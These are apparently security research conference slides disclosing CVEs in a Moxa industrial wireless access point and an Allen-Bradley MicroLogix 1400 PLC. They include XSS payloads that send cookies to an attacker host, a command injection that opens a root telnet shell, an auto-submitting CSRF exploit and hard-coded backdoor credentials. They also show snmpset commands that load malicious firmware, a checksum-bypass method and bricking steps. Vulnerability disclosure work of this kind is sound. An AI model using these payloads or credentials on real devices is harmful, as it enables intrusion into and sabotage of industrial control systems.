FROM BOX TO BACKDOOR
Using Old School Tools and Techniques to Discover Backdoors in Modern Devices

Patrick DeSantis | @pat_r10t
The AWK-3131A is 802.11n compliant to deliver speed, range, and reliability to support even the most bandwidth-intensive applications. The 802.11n standard incorporates multiple technologies, including Spatial Multiplexing MIMO (Multi-In, Multi-Out), 20 and 40 MHz channels, and dual bands (2.4 GHz and 5 GHz) to provide high speed wireless communication, while still being able to communicate with legacy 802.11a/b/g devices. The AWK's operating temperature ranges from -25 to 60°C for standard models and -40 to 75°C for wide temperature models, and is rugged enough for all types of harsh industrial environments. Installation of the AWK is easy using DIN-Rail mounting or distribution boxes, and with its wide operating temperature range, IP30-rated housing with LED indicators, and DIN-Rail mounting it is a convenient yet reliable solution for all types of industrial wireless applications.

- Moxa
MOXA WAP: ABOUT TL;DR

• It’s an 802.11n Wireless Access Point (WAP)
  – in a din rail mountable enclosure
  – many of the parts inside are the same as in common SOHO networking devices

• Moxa advertises that the AWK series is
  – “a Perfect Match for Your AGV & AS/RS Systems”
  – Automated Guided Vehicles (AGV)
  – Automated Storage and Retrieval System (AS/RS)
    – common in Automated Materials Handling (AMH) systems.
MOXA WAP: ABOUT

- It’s “Unbreakable”

- challenge accepted
MOXA WAP: DEVICE LIMITATIONS

- Limited to about 8k connections per some unit of time
  - lots of resource exhaustion DoS issues
  - throttle traffic or wait for recovery

- Crashes... a lot

- No legit operating system access

- Very limited shell environment
  - most management and configuration done via web app

- Crashes... A LOT
  - so many crashes...
  - usually needs a reboot to recover
    - later, we’ll have access to crash dumps and see a lot of these crashes are seg faults (want some CVEs?)
MOXA WAP: DEVICE LIMITATIONS

CVE-2016-8723 Moxa AWK-3131A HTTP GET Denial of Service Vulnerability
**MOXA WAP: FIRMWARE ANALYSIS**

```
root@knl:/Downloads# binwalk AMK3131A_1.3_Build_16100315.rom

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
</table>

root@knl:/Downloads# strings -n 10 AMK3131A_1.3_Build_16100315.rom
```

```
NOW fmq th
mplei[n>
(7 1Lfor the datu
E3.76EMENT for the Gate!o$
LFe p@j#&k'
W WV-m:@9
4h=ulSq)z?
5j'\D .WGxM
q<"lly'ZX-
```
MOXA WAP: FIRMWARE ANALYSIS
<table>
<thead>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>State</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>22/tcp</td>
<td>tcp</td>
<td>open</td>
<td>ssh</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Dropbear sshd 0.53</td>
</tr>
<tr>
<td>23/tcp</td>
<td>tcp</td>
<td>open</td>
<td>telnet</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>BusyBox telnetd</td>
</tr>
<tr>
<td>80/tcp</td>
<td>tcp</td>
<td>open</td>
<td>http</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>GoAhead WebServer</td>
</tr>
<tr>
<td>443/tcp</td>
<td>tcp</td>
<td>open</td>
<td>ssl/http</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>GoAhead WebServer</td>
</tr>
<tr>
<td>5801/tcp</td>
<td>tcp</td>
<td>open</td>
<td>Moxa serviceAgent (TCP)</td>
</tr>
<tr>
<td>5800/udp</td>
<td>udp</td>
<td>open</td>
<td>Moxa serviceAgent (UDP)</td>
</tr>
<tr>
<td>Parameter</td>
<td>Value</td>
<td></td>
<td></td>
</tr>
<tr>
<td>---------------------</td>
<td>----------------------------------------------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Host</td>
<td>192.168.127.253</td>
<td></td>
<td></td>
</tr>
<tr>
<td>User-Agent</td>
<td>Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Accept</td>
<td>text/html,application/xhtml+xml,application/xml;q=0.9,<em>/</em>;q=0.8</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Accept-Language</td>
<td>en-US,en;q=0.5</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Accept-Encoding</td>
<td>gzip, deflate</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Referer</td>
<td><a href="http://192.168.127.253/Login.asp">http://192.168.127.253/Login.asp</a></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cookie</td>
<td>Password508=bee8b8986a5a48a2f1a0fb42ebacf328</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Connection</td>
<td>keep-alive</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Content-Type</td>
<td>application/x-www-form-urlencoded</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Content-Length</td>
<td>58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>POSTDATA</td>
<td>Username=not a real user&amp;Password=Submit.x=25&amp;Submit.y=14</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
MOXA WAP: WEB APP - NONCE

- **cryptographic nonce:**
  - In crypto, a *Number used ONCE*
  - *Uses*
    - prevents replay attacks
    - as a pseudo random IV
    - a salt in hashing algorithms

- not the Urban Dictionary definition of nonce
  - “(UK) Slang for paedophile.” (sic)
#!/usr/bin/python

import urllib2
import md5

password = "root"

nonce = urllib2.urlopen("http://192.168.127.253/webNonce?time=0").read()
cookie = md5.new(password + nonce).hexdigest()
MOXA WAP: WEB APP - FREEZE NONCE

```python
#!/usr/bin/python

import urllib2
import time

while True:
    time.sleep(250)
```
MOXA WAP: WEB APP - FREEZE NONCE

CVE-2016-8712 Moxa AWK-3131A Web Application Nonce Reuse Vulnerability
• The session token is calculated:
  – token = MD5( password + nonce )

• The device has only:
  – 1 user (admin) – effectively, there are no users
  – 1 password (default is “root”)
  – 1 nonce (only changes after 5 mins of inactivity)

THERE IS ONLY 1 VALID SESSION TOKEN AT A TIME!
MOXA WAP: WEB APP - XSS
MOXA WAP: WEB APP - XSS

- /client_list.asp [devIndex parameter]
  - devIndex=bikf4";<script>alert(document.cookie);</script>

- /multiple_ssid_set.asp [devIndex parameter]
  - devIndex=wireless_cert.asp?index=bikf4";<script>alert(document.cookie);</script>

- /wireless_cert.asp [index parameter]
  - wireless_cert.asp?index=bikf4";<script>alert(document.cookie);</script>

- /wireless_security.asp [vapIndex parameter]
  - vapIndex=bikf4";<script>alert(document.cookie);</script>

CVE-2016-8719 Moxa AWK-3131A Web Application Multiple Reflected Cross-Site Scripting Vulnerabilities
MOXA WAP: WEB APP - XSS

Password508=66090a5f508e66c33be457a6e30428ce
http://<device IP>/wireless_cert.asp?index=\?
index=%22%3E%3Cscript%3Ewindow.location=%22http
://<attacker ip>/test?
cookie=%22.concat%28document.cookie%29%3C/
script%3E
GET /test?cookie=Password508=1668a48faec1df871ec5fd265ab192bb
MOXA WAP: WEB APP - XSS

• We have
  – user name (hardcoded)
  – nonce (frozen)
  – session token (stolen cookie)

• We can easily crack password
  – it’s just MD5( password + nonce )

• But, we don’t need the password
  – the nonce isn’t changing
  – our session token will never become invalid
MOXA WAP: SESSION HIJACK
MOXA WAP: WEB APP – OS CMD INJ

CVE-2016-8721 Moxa AWK-3131A Web Application Ping Command Injection Vulnerability
MOXA WAP: WEB APP – OS CMD INJ

; /bin/busybox telnetd -l /bin/sh -p 9999
MOXA WAP: WEB APP – OS CMD INJ

```
root@hakki:/workspace/AWK# telnet 192.168.127.253 9999
Trying 192.168.127.253...
Connected to 192.168.127.253.
Escape character is '^]'.

- # id
uid=0(root) gid=0(root)
- # pwd
/
- # uname -a
Linux AWK-313/A_0871 2.6.31--LSDK-WLAN-10.2.85 #1 PREEMPT Tue Dec 22 11:33:58 CST 2015 mips GNU/Linux
- # whoami
root
- # who
```
MOXA WAP: GET BINARIES

```
bin:
  lwconsole:
  lw_doConfig:
  lw_fw:
  lw_init:
  lw_irq:
  lw_onekey:
  lw_onekey1:
  lw_ramImages:
  lw_reset:
  lw_setBios:
  lw_setValue:
  lw_snmp:
  lw_web:
  libiwutil.so:
```
MOXA WAP: WEB APP - CSRF

```
<html>
<body>
<form action="http://192.168.127.253/forms/webSetPingTrace" method="POST">
  <input type="hidden" name="srvName" value="&amp;#59;&amp;#32;&amp;#47;bin&amp;#47;busybox&amp;#32;telnetd&amp;#32;&amp;#45;1&amp;#47;bin&amp;#47;sh&amp;#32;&amp;#45;p9999" />
  <input type="hidden" name="option" value="0" />
  <input type="hidden" name="bkpath" value="&amp;#47;ping&amp;#95;trace&amp;#46;asp" />
  <input type="submit" value="Submit request" />
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>
```
MOXA WAP: WEB APP - CSRF

<table>
<thead>
<tr>
<th>Proto</th>
<th>Recv-Q</th>
<th>Send-Q</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
<th>PID/Program name</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:5801</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>548/serviceAgent</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:80</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>566/iw_waps</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:22</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>594/dropbear</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:23</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>553/telnetd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:443</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>566/iw_waps</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>192.168.127.253:22</td>
<td>192.168.127.252:37660</td>
<td>ESTABLISHED</td>
<td>823/dropbear</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:5800</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>548/serviceAgent</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>192.168.127.253:123</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>519/iw_http</td>
</tr>
</tbody>
</table>

- `netstat anup`
MOXA WAP: BACKDOOR

- 94jo3dkru4:Zg5SOmmQKk3kA:0:0:root:/bin/sh
- daccli:$1$oCLuEVgI1iAqOA8pwkzAg1:0:0:root:/usr/sbin/daccli
- netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
- mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
- admin:ZH0m6QMdLV0Wo:0:0:root:/usr/sbin/iw_console
- art::0:0:art calibration:/etc/art_shell.sh
MOXA WAP: BACKDOOR

- 94jo3dkru4:Zg5SOmmQKk3kA:0:0:root::/bin/sh
- daccli:$1$$oCLuEVgI1iAqO8pwkzAg1:0:0:root::/usr/sbin/daccli
- netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
- mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
- admin:ZH0m6QMdLV0Wo:0:0:root::/usr/sbin/iw_console
- art::0:0:art calibration:/etc/art_shell.sh
MOXA WAP: BACKDOOR
MOXA WAP: BACKDOOR

em:/dev/mem:/dev/mem:94jo3dkru4:$1$$1ZudtN1wlcCPXkNu2w6vT/:
em:echo "94jo3dkru4:moxaiw%$" | /sbin/chpasswd
em:/bin/passwd -u 94jo3dkru4 -p "moxaiw%$
em:94jo3dkru4:gsL/ouFY1HrxI:0:0:root:/:/bin/sh
em:/dev/mem:94jo3dkru4:gsL/ouFY1HrxI:0:0:root:/:/bin/sh
em:94jo3dkru4:$1$$1ZudtN1wlcCPXkNu2w6vT/:0:0:root:/:/bin/sh
em:94jo3dkru4moxaiw
em:echo "94jo3dkru4:moxaiw%$" | /sbin/chpasswd
$ strings iw_doConfig | grep moxa

... <snip> ...

echo "94jo3dkru4:moxaiw%s" | /sbin/chpasswd

/bin/passwd -u 94jo3dkru4 -p "moxaiw%s"
MOXA WAP: BACKDOOR
MOXA WAP: BACKDOOR

• Sets admin user’s password
  – We know admin password is “root”
    ```
    # "echo \"admin:%s\" | /sbin/chpasswd"
    ```
• Sets 94jo3dkru4 user’s password
  – Doesn’t change the value being passed to %s
    ```
    # "echo \"94jo3dkru4:moxaiw%s\" | /sbin/ch"
    ```
  – “moxaiw%s” becomes “moxaiwroot”
• This is hard-coded in an initialization binary
  – runs every time the device boots
MOXA WAP: BACKDOOR

```bash
root@kali:/workspace/AWK# ssh 94jo3dkru4@192.168.127.253
94jo3dkru4@192.168.127.253's password:
[757] Jan 02 15:44:05 lastlog_perform_login: Couldn't stat /var/
[757] Jan 02 15:44:05 lastlog_openseek: /var/log/lastlog is not
- # who
94jo3dkru4 pts/0 00:00 Jan 2 15:44:05 192.168
- # whoami
root
- # id
uid=0(root) gid=0(root) groups=0(root)
- # uname -a
Linux AWK-3131A_0871 2.6.31--LSDK-WLAN-10.2.85 #1 PREEMPT Tue Dec
- # pwd
/
- # cat /etc/passwd
root:$1$z1ZudtN1wlcCPXkNu2w6vT/::0:0:root::/etc/nologin.sh
94jo3dkru4:Zg5S0mmQKk3kA:0:0:root::/bin/sh
daccli:$1$8oCLuEVoIliA0A8pwkzAq1:0:0:root::/usr/sbin/daccli
```
We have an operating system root-level backdoor!!!
MOXA WAP: BACKDOOR

iw_system((int32_t)"iw_onekey %s ");
iw_system((int32_t)"killall -2 %s");
iw_system((int32_t)"ping -c 4 %s 1>/var/pingtestlog.txt 2>&1");

iw_system((int32_t)"openssl aes-256-cbc -d -k moxaiwroot -salt -in %s -out %s");

iw_system((int32_t)"rm %s");
iw_system((int32_t)"echo Import Fail > %s");
iw_system((int32_t)"touch %s%s");
iw_system((int32_t)"cd %s && tftp -p -r %s %s && echo $? > %s");
iw_system((int32_t)"echo \"TFTP Server no response\" > %s");
iw_system((int32_t)"rm %s%s");
MOXA WAP: ATTACK SUMMARY

Freeze Nonce

XSS

CSRF

Session Hijack

Command Injection

Busybox Telnet

Backdoor

Root
MOXA WAP: NOW WHAT?

• We already have OS root
• It’s a “read-only” file system
• We already grabbed all the binaries and configs
• We could install a backdoor
  – but it already has one
• Lots of binaries already on device can be used to do fun things
MOXA WAP: NOW WHAT?
MOXA WAP: NOW WHAT?

- Modify legit binaries
  - change the serviceAgent binary to deliver custom payloads to the Moxa Windows configuration application
    - this potentially allows an attacker to “swim upstream”, moving from the device up to the IT network
    - get around read-only: kill legit process and re-run new from /var
  - “patch” the firmware install binary to skip integrity checks
- iptables, tunnels, catch all traffic, etc.
- Linux kernel modules
  - insmod, lsmod, rmmod
- Change RF parameters
  - frequency, channel, strength, etc.
MOXA WAP: NOW WHAT?

BRICK IT!
MOXA WAP: SOFT BRICK

- killall5
  - send a signal to all processes
  - device requires manual hard power cycle
    - reset button doesn’t work

- umount / mount games
MOXA WAP: FIRM BRICK

• Not sure how it happened 😊
• Was testing out a bunch of Moxa binaries
  – suspect it was `fw_setenv` followed by a couple `mount/umount` and a reboot
    • the device never came back from the reboot
  – have full console logs but haven’t been able to verify
    • so far unable to un-brick the device
    • only have 1 functional device remaining
/
/
/
fw_setenv -a
Unlocking flash...
Done
Erasing old environment...
Done
Writing environment to /dev/mtd1...
Done
Locking ...
Done
/
#
mount -o remount,rw -a
/
#
reboot
MOXA WAP: FIRM BRICK
<table>
<thead>
<tr>
<th></th>
<th>CVE-2016-8717</th>
<th>10.0</th>
<th>Hard-coded Administrator Credentials Vulnerability</th>
</tr>
</thead>
<tbody>
<tr>
<td>2.</td>
<td>CVE-2016-8721</td>
<td>9.1</td>
<td>Web Application Ping Command Injection Vulnerability</td>
</tr>
<tr>
<td>3.</td>
<td>CVE-2016-8723</td>
<td>7.5</td>
<td>HTTP GET Denial of Service Vulnerability</td>
</tr>
<tr>
<td>4.</td>
<td>CVE-2016-8716</td>
<td>7.5</td>
<td>Web Application Cleartext Transmission of Password Vulnerability</td>
</tr>
<tr>
<td>5.</td>
<td>CVE-2016-8718</td>
<td>7.5</td>
<td>Web Application Cross-Site Request Forgery Vulnerability</td>
</tr>
<tr>
<td>6.</td>
<td>CVE-2016-8719</td>
<td>7.5</td>
<td>Web Application Multiple Reflected Cross-Site Scripting Vulnerabilities</td>
</tr>
<tr>
<td>7.</td>
<td>CVE-2016-8712</td>
<td>5.9</td>
<td>Web Application Nonce Reuse Vulnerability</td>
</tr>
<tr>
<td>8.</td>
<td>CVE-2016-8722</td>
<td>5.3</td>
<td>Web Application asqc.asp Information Disclosure Vulnerability</td>
</tr>
<tr>
<td>9.</td>
<td>CVE-2016-8720</td>
<td>3.1</td>
<td>Web Application bkpath HTTP Header Injection Vulnerability</td>
</tr>
<tr>
<td>10.</td>
<td>CVE-2016-0241</td>
<td>7.5</td>
<td>Web Application onekey Information Disclosure Vulnerability</td>
</tr>
<tr>
<td>11.</td>
<td>CVE-2016-8725</td>
<td>5.3</td>
<td>Web Application systemlog.log Information Disclosure Vulnerability</td>
</tr>
<tr>
<td>12.</td>
<td>CVE-2016-8724</td>
<td>5.3</td>
<td>serviceAgent Information Disclosure Vulnerability</td>
</tr>
<tr>
<td>13.</td>
<td>CVE-2016-8726</td>
<td>7.5</td>
<td>web_runScript Header Manipulation Denial of Service Vulnerability</td>
</tr>
</tbody>
</table>
MOXA AWK-3131A: HELLO

drwxr-xr-x 2 root root 2332 Mar 10 10:33 bin
-rwxr-xr-x 4 root root 0 Jan 1 1970 configdata
-rwxr-xr-x 3 root root 1328 Mar 10 10:33 dev
-rwxr-xr-x 10 root root 443 Mar 10 10:33 etc
-rwxr-xr-x 4 root root 2062 Mar 10 10:33 lib
-rwxrwxrwx 1 root root 11 Mar 10 10:33 linu xxx <- bin/bu sybox
drwxr-xr-x 2 root root 3 Mar 10 10:27 mnt
dr-xr-xr-x 51 root root 0 Jan 1 1970 proc
drwxr-xr-x 2 root root 1077 Mar 10 10:33 sbin
drwxr-xr-x 3 root root 31 Mar 10 10:19 share
drwxr-xr-x 1 root root 215 Mar 10 10:33 svn.txt
drwxr-xr-x 6 root root 0 Jan 1 1970 sys
drwxr-xr-x 5 root root 150 Mar 10 10:33 usr
drwxr-xr-x 6 root root 0 Mar 28 11:37 var

# cat svn.txt

git@git.moxa.com:awk3121

$ git id:AWK-1131A-V1.12 AWK-3131A-V1.4 Cisco Talos Security Vulnerability
99dddadc0f041b86d83ee8dd43a3c4a0fbc119bb66 refs/heads/AWK-1131A-V1.12 AWK-3131A-V1.4 Cisco Talos Security Vulnerability
AB MICROLOGIX 1400 PLC
ML1400: ABOUT

• Programmable Logic Controller (PLC)
  – “micro” and “nano” control systems
    • as opposed to “small” or “large” control systems
  – “conveyor automation, security systems, and building and parking lot lighting.”

• Built in
  – Input / Output
  – Ethernet
  – Serial
  – Expansion I/O
Applications

Typical applications for the MicroLogix™ programmable controllers include:

- Material Handling
- Packaging Applications
- General Industrial Machinery
- Printing
- Food and Beverage
- Pharmaceutical
- Water Wastewater / SCADA
- Clutch/Brake control
- Position Control – Pick-and-place / Conveyor
ML1400: Firmware

- binwalk not much help
- strings not much help
- limited analysis tools
<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>4122</td>
<td>0x101A</td>
<td>HTML document header</td>
</tr>
<tr>
<td>304690</td>
<td>0x4A632</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1443840</td>
<td>0x160800</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1444658</td>
<td>0x160B32</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1444666</td>
<td>0x160B3A</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1445951</td>
<td>0x16103F</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1445959</td>
<td>0x161047</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1447568</td>
<td>0x161690</td>
<td>Copyright string: &quot;Copyright &amp;copy 2008 Rock</td>
</tr>
<tr>
<td>1447642</td>
<td>0x1616DA</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1447650</td>
<td>0x1616E2</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1449819</td>
<td>0x161F5B</td>
<td>Copyright string: &quot;Copyright &amp;copy 2008 Rock</td>
</tr>
<tr>
<td>1449893</td>
<td>0x161FA5</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1453027</td>
<td>0x162BE3</td>
<td>GIF image data, version &quot;89a&quot;, 20 x 16</td>
</tr>
<tr>
<td>1453140</td>
<td>0x162C54</td>
<td>GIF image data, version &quot;89a&quot;, 21 x 16</td>
</tr>
<tr>
<td>1453272</td>
<td>0x162CD8</td>
<td>GIF image data, version &quot;89a&quot;, 23 x 16</td>
</tr>
</tbody>
</table>
### ML1400: FIRMWARE - BINWALK

**binwalk** -A <firmware>

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>936</td>
<td>0x3A8</td>
<td>Motorola Coldfire instructions, function prologue/epilogue</td>
</tr>
<tr>
<td>1608</td>
<td>0x648</td>
<td>Motorola Coldfire instructions, function prologue/epilogue</td>
</tr>
<tr>
<td>1792</td>
<td>0x700</td>
<td>Motorola Coldfire instructions, function prologue/epilogue</td>
</tr>
<tr>
<td>235065</td>
<td>0x39639</td>
<td>Motorola Coldfire instructions, function prologue/epilogue</td>
</tr>
</tbody>
</table>
ML1400: FIRMWARE - BINWALK
COLDFIRE
MCF5275LCVM168
L71W
CTBU1419
ML1400: SNMP
ML1400: SNMP

snmpwalk -v 2c -c public 192.168.42.11
snmpwalk -c public -v 2c 192.168.42.11 .1.3.6.1.4.1.95
ML1400: SNMP BACKDOOR

CVE-2016-5645 AB Rockwell Automation MicroLogix 1400 Code Execution Vulnerability
ML1400: SNMP BACKDOOR

![SNMP Backdoor]

TALOS
### ML1400: MODIFY FIRMWARE

<table>
<thead>
<tr>
<th>Get Request</th>
<th>Get Response</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>SNMP: get request 1.3.6.1.2.1.1.1.0</td>
<td>SNMP: get response 1.3.6.1.2.1.1.1.0</td>
<td>SNMP: get request 1.3.6.1.2.1.1.1.0</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

TFTP: Data Packet, Block: 1
TFTP: Acknowledgment, Block: 1
TFTP: Data Packet, Block: 2
TFTP: Acknowledgment, Block: 2
TFTP: Data Packet, Block: 3
ML1400: MODIFY FIRMWARE

~# snmpset -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95.2.2.1.1.1.0 a <attacker_IP>

~# snmpset -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95.2.2.1.1.2.0 s "<evil_firmware>"

~# snmpset -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95.2.3.1.1.1.1.0 i 2
ML1400: MODIFY Firmware
ML1400: MODIFY FIRMWARE

1766-LEC
BOOT
FRN: 03.08
flashing...
ML1400: BYPASS INTEGRITY CHECK

- Only using self-reported checksum*
  - Basic math
  - At least two very easy bypasses
    1. Find all occurrences of checksums in the firmware and update to match modified firmware
    2. Make “compensating” changes when modifying firmware
       - “zero sum” byte changes
         - \( 0x12 \ 0x34 \rightarrow 0x34 \ 0x12 \)
         - \( 0x42 \ 0x42 \rightarrow 0x41 \ 0x43 \)
         - \( 0x00 \ 0x00 \ 0x00 \ 0xFF \rightarrow 0x41 \ 0x42 \ 0x43 \ 0x39 \)

* Rockwell claims that the newest hardware (Series C) uses cryptographically-signed firmware
  - Not supported on older models
    - Challenge accepted ©
<table>
<thead>
<tr>
<th>Address</th>
<th>Value 1</th>
<th>Value 2</th>
<th>Value 3</th>
<th>Value 4</th>
<th>Value 5</th>
<th>Value 6</th>
<th>Value 7</th>
<th>Value 8</th>
<th>Value 9</th>
<th>Value 10</th>
<th>Value 11</th>
<th>Value 12</th>
<th>Value 13</th>
<th>Value 14</th>
<th>Value 15</th>
<th>Value 16</th>
<th>Output 1</th>
</tr>
</thead>
<tbody>
<tr>
<td>001606A0</td>
<td>00 1B BE 8E 09 B4 01 2F 6E 6F 74 69 66 79 2E 68</td>
<td>......./notify.h</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>001606B0</td>
<td>74 6D 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>tm.............</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>001606A0</td>
<td>00 1B BE 8E 09 B4 01 2F 6F 6E 74 69 66 79 2E 68</td>
<td>......./onify.h</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>001606B0</td>
<td>74 6D 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>tm.............</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
ML1400: BYPASS INTEGRITY CHECK
ML1400: BYPASS INTEGRITY CHECK

Checksum Results

<table>
<thead>
<tr>
<th>Document</th>
<th>Algorithm</th>
<th>Checksum</th>
<th>Checksum/Digest</th>
</tr>
</thead>
<tbody>
<tr>
<td>WAM_BOOT_OS.bin</td>
<td>Checksum (16 bit)</td>
<td>2922</td>
<td>0B5A</td>
</tr>
<tr>
<td>old.bin</td>
<td>Checksum (16 bit)</td>
<td>2922</td>
<td>0B5A</td>
</tr>
</tbody>
</table>
ML1400: MODIFY Firmware

Talos
ML1400: MODIFY Firmware
ML1400: MODIFY FIRMWARE

- web header
ML1400: MODIFY Firmware

- web change
ML1400: MODIFY Firmware

BRICK IT!
ML1400: SOFT BRICK

4EF9 0004 0150    JMP 0x00040150

JMP to start of code
0x150 bytes in
offset 0x40000
ML1400: SOFT BRICK

File: WAM_BOOT_OS.bin

4EF9 0004 0000   JMP 0x00040000

JMP to self
ML1400: SOFT BRICK

1766-LEC
BOOT
F-RN: 03, 80
ready...
ML1400: SOFT BRICK

- Reboot

(Try Flash Firmware)

(Try TFTP Firmware)
<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>00:00</td>
<td>Rockwell_a4:31:5b</td>
<td>Broadcast</td>
<td>ARP</td>
<td>00</td>
<td>Who has 192.168.42.221? Tell 192.168.42.11 42 192.168.42.221 is at 00:0c:29:2a:33:86</td>
</tr>
<tr>
<td>2</td>
<td>00:00</td>
<td>vmware_2a:33:66</td>
<td>Rockwell_a4:31:5b</td>
<td>ARP</td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>00:00</td>
<td>192.168.42.11</td>
<td>192.168.42.221</td>
<td>TFTP</td>
<td>00</td>
<td>Read Request, File: WAM_BOOT_03.bin, Transfer</td>
</tr>
<tr>
<td>4</td>
<td>00:19</td>
<td>192.168.42.221</td>
<td>192.168.42.11</td>
<td>TFTP</td>
<td>558</td>
<td>Data Packet, Block: 1</td>
</tr>
<tr>
<td>5</td>
<td>00:36</td>
<td>192.168.42.221</td>
<td>192.168.42.11</td>
<td>TFTP</td>
<td>60</td>
<td>Acknowledgement, Block: 1</td>
</tr>
<tr>
<td>6</td>
<td>00:37</td>
<td>192.168.42.221</td>
<td>192.168.42.11</td>
<td>TFTP</td>
<td>558</td>
<td>Data Packet, Block: 2</td>
</tr>
<tr>
<td>7</td>
<td>00:53</td>
<td>192.168.42.11</td>
<td>192.168.42.221</td>
<td>TFTP</td>
<td>60</td>
<td>Acknowledgement, Block: 2</td>
</tr>
</tbody>
</table>
ML1400: FIRM BRICK

• Unsuccessful with a few dozen “elegant” attacks
  – creative changes of MIPS instructions
  – jump loops
  – math

• Success on first attempt of “hey, look over there” attack
  – randomly move bytes* around
    *bytes that are important but are not MIPS instructions
ML1400: FIRM BRICK
ML1400: FIRM BRICK
ML1400: FIRM BRICK

1766-LEC
BOOT
FAN: 21.00
Fpga Corrupt

When the LCD displays the Fpga Corrupt information, the LEDs do not show the Walking pattern during the firmware upgrade process.

Recovering from Missing or Corrupt OS State

In order to recover from this controller state, you need to reseat the operating system firmware upgrade as described here:

1. Ensure that the Ethernet connectivity issues: SNMP is enabled by default in the controller.
2. If the IP Address was configured during the Preparing for firmware upgrade stage, the same IP configuration is retained in the controller.
3. Start the firmware upgrade as explained in Using ControllerFLASH for Firmware Upgrade on page 208.
ML1400: FIRM BRICK
ML1400: HARD BRICK
CONCLUSION
tl;dr

- From Box to Backdoor to Brick
THANK YOU

- Cisco Talos
- Moxa Americas
- Rockwell Automation / Allen-Bradley
QUESTIONS?
BACKUP SLIDES
IP CAMERA?
VENDOR DISCLOSURE